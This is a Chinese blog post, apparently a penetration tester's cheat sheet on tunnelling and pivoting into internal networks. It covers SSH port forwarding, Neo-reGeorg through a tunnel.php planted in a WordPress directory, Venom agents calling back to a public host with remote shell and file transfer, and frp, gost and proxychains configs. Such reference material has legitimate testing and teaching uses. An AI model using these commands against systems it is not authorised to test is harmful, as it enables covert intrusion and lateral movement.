隧道代理

代理搭建

出网探测

出网协议

出网端口

SSH 端口转发

ssh 参数说明:

  • -C:压缩传输,提高传输速度
  • -f:将SSH传输转入后台执行,不占用当前的Shell
  • -N:建立静默连接(建立了连接,但是看不到具体会话)
  • -g:允许远程主机连接本地用于转发的端口
  • -L:本地端口转发
  • -R:远程端口转发
  • -D:动态转发(SOCKS代理)
  • -P:指定SSH端口
  • -i:指定登录密钥( chmod 600 key )

本地转发:创建一个本地端口,将发往该端口的所有通信都通过 SSH 服务器,转发到指定的远程服务器的端口。这种情况下,SSH 服务器只是一个作为跳板的中介,用于连接本地计算机无法直接连接的远程服务器。本地转发是在本地计算机建立的转发规则。

https://wangdoc.com/ssh/port-forwarding

本地端口(local-port)、SSH 服务器( tunnel-host )、远程服务器( target-host )和远程端口( target-port )

tunnel-host root 登录。

1
2
3
4
5
6
# 本地转发 => 本地端口的流量通过 tunnel-host 转发到目标主机的端口
# 流量 => local-port => tunnel-host => target-host:target-port
ssh -CfNg -L local-port:target-host:target-port tunnel-host

# 远程转发 =>
ssh -CfNg -R remote-port:target-host:target-port remotehost

远程转发

1
2
# 把 127.0.0.1:22 流量转发到远程 43.139.185.135 的 1010 端口
ssh -CfNg -R 1010:127.0.0.1:22 43.139.185.135

本地转发

1

动态转发

1
2
# socks5 代理到本地的 local-port 端口
ssh -D local-port tunnel-host -N

Neo-reGeorg

https://github.com/L-codes/Neo-reGeorg

1
2
3
4
5
6
# 生成服务端
python neoreg.py generate -k e9RzHa523NkPvJUp
# 连接,建立 socks 代理
python3 neoreg.py -l 0.0.0.0 -p 1080 -k QWEasd123 -u http://59.125.123.197/wp-includes/css/tunnel.php
# 端口转发
python3 neoreg.py -l 0.0.0.0 -p 3389 -k QWEasd123 -u http://59.125.123.197/wp-includes/css/tunnel.php -t 192.168.0.99:3389

Venom

Venom 是一款为渗透测试人员设计的使用 Go 开发的多级代理工具。Venom 可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用 Venom 轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

项目地址:https://github.com/Dliv3/Venom

Venom 分为服务端和客户端。

服务端:

1
2
3
4
-lport port
-passwd password
-rhost ip
-rport port
1
./admin_linux_x64 -lport 8899 -passwd QWEasd@123

客户端:

1
2
3
4
5
6
-lhost ip
-lport port
-passwd password
-reuse-port int
-rhost ip
-rport port
1
2
agent.exe -rhost 1.92.92.84 -rport 8899 -passwd QWEasd@123
agent.exe -lhost 0.0.0.0 -reuse-port 80

服务端操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
help                                     Help information.
exit Exit.
show Display network topology.
getdes View description of the target node.
setdes [info] Add a description to the target node.
goto [id] Select id as the target node.
listen [lport] Listen on a port on the target node.
connect [rhost] [rport] Connect to a new node through the target node.
sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
shell Start an interactive shell on the target node.
upload [local_file] [remote_file] Upload files to the target node.
download [remote_file] [local_file] Download files from the target node.
socks [lport] Start a socks5 server.
lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.

Frp

https://github.com/fatedier/frp/releases

服务端

1
2
3
4
5
6
7
8
[common]
bind_addr = 0.0.0.0
bind_port = 7000
dashboard_addr = 0.0.0.0
dashboard_port = 7001
dashboard_user = root
dashboard_pwd = QWEasd@123
token = 00253c8fcf9ae01

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[common]
server_addr = 39.99.251.19
server_port = 7000
token = 00253c8fcf9ae01
pool_count = 5
health_check_type = tcp
health_check_interval_s = 100
[socks5]
remote_port = 12345
plugin = socks5
use_encryption = true
use_compression = true
plugin_user = admin
plugin_passwd = QWEasd@123
[RDP]
local_ip = 127.0.0.1
local_port = 3389
remote_port = 3389

Gost

文档:https://gost.run

Github:https://github.com/go-gost/gost

公网直接作为服务端开代理

1
gost -L socks5://user:pass@:65530

目标作为客户端连接服务端

1
2
3
4
5
6
# 服务端 1.92.92.84 => 这个 bind=true 应该是说明允许客户端连接的意思 v3 才出来的功能
gost -L socks5://:2222?bind=true

# 客户端
gost -L socks5://user:pass@:8888 # 本地开启代理
gost -L rtcp://:9999/:8888 -F socks5://1.92.92.84:2222 # 8888 到服务端的 9999

代理连接

proxychains4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# apt 安装
sudo apt-get install -y proxychains4
# 编辑安装
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng/
./configure --prefix=/usr --sysconfdir=/etc
make && make install
make install-config
# 添加代理
vim /etc/proxychains4.conf
# 使用代理
proxychains4 curl -I http://192.168.75.128:80
# 安静模式
proxychains4 -q curl -I http://192.168.75.128:80


隧道代理
https://liancccc.github.io/2024/09/15/技术/内网渗透/隧道代理/
作者
守心
发布于
2024年9月15日
许可协议